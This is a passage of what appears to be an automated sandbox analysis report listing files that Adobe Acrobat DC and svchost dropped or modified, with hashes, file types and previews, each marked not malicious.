Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xe9d32640, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755591762543386
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	E457960E8296195F886CF691AD7E4F37
SHA1:	FC0EA8671AD8EA21EC3548CBD2553A0B0A59113C
SHA-256:	3163E2EA8F8F5971815357B1E1103F646912CC95BB8CB1BAC6F373A1E977C02A
SHA-512:	07116F534BA235D256BA4925F43B4A7559F0826A3F663A255535CAB1D7E355A2564B9DAC4CA48FC241E9CCEB30AB1E14E53768DFAFD42CEE9BC5E55C780F5290
Malicious:	false
Preview:	..&@... .......7.......X\...;...{......................0.e......!...{?......}m.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...........................................}.................g........}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07873986328728463
Encrypted:	false
SSDEEP:	3:Bs6tKYebIvkYs0eeuNaAPaU1lkf3Js/tlolluxmO+l/SNxOf:a+KzbIDBuNDPaUMf3JBgmOH
MD5:	026BE32463C3E23C1BCD2AEB1D9D55EE
SHA1:	0084070998D8F1009513315910A3BF003F5D06AE
SHA-256:	7913F88BF1447B061D6ADB5CE71DAE3767052AC5F3BDAB86C4846170A87D585D
SHA-512:	FD7908FAAA15A3B7A50D3415E925DD4ADBFEF23F203605CF03EBB3FEAAF6C05A7B11C225C2FB5E11733C008E2A0791C32203DB63F7CE76885CA84CCDDE57A031
Malicious:	false
Preview:	...6.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?.................g........}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.219349978412005
Encrypted:	false
SSDEEP:	6:iO4b03GG3+q2PN72nKuAl9OmbnIFUtSb03LZmwsb03bVkwON72nKuAl9OmbjLJ:7kZG3+vVaHAahFUtmK/YmV5OaHAaSJ
MD5:	2197567C3E813FACB6CB7F0C5F3DA20B
SHA1:	09E1AB8EA5D07BD1D9476F0A89C5E1148CB4CBE1
SHA-256:	13FEA992F0B43372B2D9A84D03C7286E5E0C0F5C05CE3DE1BC8B84857A5AB909
SHA-512:	74A3C751AAD2C21C8A4D8356E0E42378A4ACBAA1C46D2E15CB4AE237315B0AA741DDB738475250E020FF96F583B78382B7C70EB849AD69C4F322BC0FB0BEBEBB
Malicious:	false
Preview:	2025/01/10-13:27:09.085 64c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:27:09.087 64c Recovering log #3.2025/01/10-13:27:09.087 64c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.219349978412005
Encrypted:	false
SSDEEP:	6:iO4b03GG3+q2PN72nKuAl9OmbnIFUtSb03LZmwsb03bVkwON72nKuAl9OmbjLJ:7kZG3+vVaHAahFUtmK/YmV5OaHAaSJ
MD5:	2197567C3E813FACB6CB7F0C5F3DA20B
SHA1:	09E1AB8EA5D07BD1D9476F0A89C5E1148CB4CBE1
SHA-256:	13FEA992F0B43372B2D9A84D03C7286E5E0C0F5C05CE3DE1BC8B84857A5AB909
SHA-512:	74A3C751AAD2C21C8A4D8356E0E42378A4ACBAA1C46D2E15CB4AE237315B0AA741DDB738475250E020FF96F583B78382B7C70EB849AD69C4F322BC0FB0BEBEBB
Malicious:	false
Preview:	2025/01/10-13:27:09.085 64c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:27:09.087 64c Recovering log #3.2025/01/10-13:27:09.087 64c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1260301263795975
Encrypted:	false
SSDEEP:	6:iO4b0tuCpQ+q2PN72nKuAl9Ombzo2jMGIFUtSb0+dWZmwsb0F/QVkwON72nKuAlx:7kdF+vVaHAa8uFUtmc/Y1V5OaHAa8RJ
MD5:	03AB1D7854FF9116AE6D22C5DA633BDC
SHA1:	ABBCB48B34E4DF3301C967055EA637E076B50552
SHA-256:	C59D6756AEC5236A921CA1476318C30C94067BB58DC40C1EB75269A62BA22A17
SHA-512:	552F2B095FC40F7BFCE2C21E1FC3B4BAAF46A2E5D02326200343B30298E9D11B1B71E6438E2850989F9DF2AA010EABB697A50D2089F73D2A10AFC832E5A6FF10
Malicious:	false
Preview:	2025/01/10-13:27:09.145 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:27:09.148 1c0c Recovering log #3.2025/01/10-13:27:09.150 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1260301263795975
Encrypted:	false
SSDEEP:	6:iO4b0tuCpQ+q2PN72nKuAl9Ombzo2jMGIFUtSb0+dWZmwsb0F/QVkwON72nKuAlx:7kdF+vVaHAa8uFUtmc/Y1V5OaHAa8RJ
MD5:	03AB1D7854FF9116AE6D22C5DA633BDC
SHA1:	ABBCB48B34E4DF3301C967055EA637E076B50552
SHA-256:	C59D6756AEC5236A921CA1476318C30C94067BB58DC40C1EB75269A62BA22A17
SHA-512:	552F2B095FC40F7BFCE2C21E1FC3B4BAAF46A2E5D02326200343B30298E9D11B1B71E6438E2850989F9DF2AA010EABB697A50D2089F73D2A10AFC832E5A6FF10
Malicious:	false
Preview:	2025/01/10-13:27:09.145 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:27:09.148 1c0c Recovering log #3.2025/01/10-13:27:09.150 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\88fd8333-c53f-487c-af4a-805360148f72.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974284279115877
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqz3sBdOg2Hlcaq3QYiubcP7E4T3y:Y2sRdsRdMHE3QYhbA7nby
MD5:	DC9D14A27B499198355F05AF45E34085
SHA1:	6562BBEE465D23F502E852E2089FC76E411DF578
SHA-256:	0416CA23A0EF7338FD21004D485E43E63EB3FA01EFF4EDAEA672FCE9D906A36C
SHA-512:	C2689985BDCC3E3F6A4D609F9E04A8465DBA73371870CAB4CD4EDC16D34DC04D1F89F7CBA92968099BF25C06CC04215325E2FFAF1742787F2A14D4CBCE307A94
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093640755723","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123588},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.974284279115877
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqz3sBdOg2Hlcaq3QYiubcP7E4T3y:Y2sRdsRdMHE3QYhbA7nby
MD5:	DC9D14A27B499198355F05AF45E34085
SHA1:	6562BBEE465D23F502E852E2089FC76E411DF578
SHA-256:	0416CA23A0EF7338FD21004D485E43E63EB3FA01EFF4EDAEA672FCE9D906A36C
SHA-512:	C2689985BDCC3E3F6A4D609F9E04A8465DBA73371870CAB4CD4EDC16D34DC04D1F89F7CBA92968099BF25C06CC04215325E2FFAF1742787F2A14D4CBCE307A94
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093640755723","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123588},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2492570572502375
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7ryDX:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh8
MD5:	40340EFB110FE7915C74F07166A2D0EC
SHA1:	8A3E7F41EF6ECA3D21A3F5060015E8868ED83657
SHA-256:	3D1594C0E05AF84092570B77C88019D643AAD641B09051FAD97F212972591864
SHA-512:	A92F43DEEA24924F755685DF3367CE8C2E90F5DC6E59A90547588781C8EAA0EC1A625431F5A19C7F95E65CB0C3B7BCE503AC237CC00E752476C55887059613C4
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.120735697481409
Encrypted:	false
SSDEEP:	6:iO4b0jSQ+q2PN72nKuAl9OmbzNMxIFUtSb08dWZmwsb07QVkwON72nKuAl9OmbzE:7kk3+vVaHAa8jFUtma/YvV5OaHAa84J
MD5:	46C14A201D4D0F1F001D0D91A699B992
SHA1:	9B1DBD4530CBC9747C2E65673D971881FE103CFA
SHA-256:	442439384E03D9D476B3FDD0E328331FFC86CAA2617048503E541409B75271FC
SHA-512:	46796C19B9BBDE4B2DC83F1E7BE9F53CCC013148F42005559D7E3AD52660EB1E8CFF84B4E2EF4B99F19546A46B0879297C448C9024845228AA12BAF6C784CF4A
Malicious:	false
Preview:	2025/01/10-13:27:09.391 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:27:09.393 1c0c Recovering log #3.2025/01/10-13:27:09.398 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.120735697481409
Encrypted:	false
SSDEEP:	6:iO4b0jSQ+q2PN72nKuAl9OmbzNMxIFUtSb08dWZmwsb07QVkwON72nKuAl9OmbzE:7kk3+vVaHAa8jFUtma/YvV5OaHAa84J
MD5:	46C14A201D4D0F1F001D0D91A699B992
SHA1:	9B1DBD4530CBC9747C2E65673D971881FE103CFA
SHA-256:	442439384E03D9D476B3FDD0E328331FFC86CAA2617048503E541409B75271FC
SHA-512:	46796C19B9BBDE4B2DC83F1E7BE9F53CCC013148F42005559D7E3AD52660EB1E8CFF84B4E2EF4B99F19546A46B0879297C448C9024845228AA12BAF6C784CF4A
Malicious:	false
Preview:	2025/01/10-13:27:09.391 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:27:09.393 1c0c Recovering log #3.2025/01/10-13:27:09.398 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444440107528454
Encrypted:	false
SSDEEP:	384:SeWci5tPiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:qEs3OazzU89UTTgUL
MD5:	D860514ED6307964D2F4B859BEC0D410
SHA1:	41182D63EAE61402D4A74E128F8ECBEBCA5CBD7F
SHA-256:	2A137D4DDCA040BA2D23600D43C2FC8307DBCBEDBE0DC818A431BFE415D2DE5F
SHA-512:	967274D56AA9BAFFFD33314E312F211822635A36AA9CA1BE5377E6506C086BE5693DC13E4E21FE2F0AA8170DCDCF4FFA02DBACE6F52BA3B29A9984799AE65D26
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214999892098596
Encrypted:	false
SSDEEP:	24:7+t5FnuwKRZWqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfV:7MPnCOqPmFTIF3XmHjBoGGR+jMz+Lh9
MD5:	7D05C628E5C27C3B16993036A76E2155
SHA1:	FF99A0E7BE7385F8A4A091C7D45D3F3EA3C18CCD
SHA-256:	640318211548A9CE1605C2FC2EB79F7EB36F9B0010DCABC6FDD18AC9505B54BA
SHA-512:	D2CC155D39CD9D086D7474A2185114D48AE02EC803D863B2962C22C02507DC94B39D0367CE5D8F5D180475B146B730A4D0430FA41BB22B24A214D1C5594CFB65
Malicious:	false
Preview:	.... .c.....9X.;........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.731398464046725
Encrypted:	false
SSDEEP:	3:kkFklsEbNttfllXlE/HT8k7wltNNX8RolJuRdxLlGB9lQRYwpDdt:kK10teT8yQTNMa8RdWBwRd
MD5:	3C0E3C7416770300A6A01649C01F79BB
SHA1:	710E8A5081BC84E607C72C4C01ADD6BD9682EABD
SHA-256:	AB0AD1B29D647EFF85041F7046F5013E1705B61E01CCCD15C91979E4FD945367
SHA-512:	A63D4B9D857953F7A0CFEBA9E02B422CC546CC84DCB315A21BBC3EC63C1E22CB227C3B6D18901D95CBEB6059160A33F19048DB5BBD4923A2A928EDD0D50C9275
Malicious:	false
Preview:	p...... ........_..G.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK/iL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3iiDImsLNkPlE99SNxAhUe/3
MD5:	720C2D0AB472E84F464CD0541B2B05D3
SHA1:	6AD890C1E9C833E855EA42CC4554BEC1EAA0E6CE
SHA-256:	4B8054A92DB81D26E563FE74418A7C352E54B58CD117C0669CDD75548716B73C
SHA-512:	7F26E9EF66A9383AFADE43EEFBA5A7B1BB4457208FBB1044AAE68429AA62397979C4307587158C09B958FBC7BCF3CAB4655D31BD7D8EF3F96660F85363ED03C4
Malicious:	false
Preview:	p...... ..........)Z.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5704

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
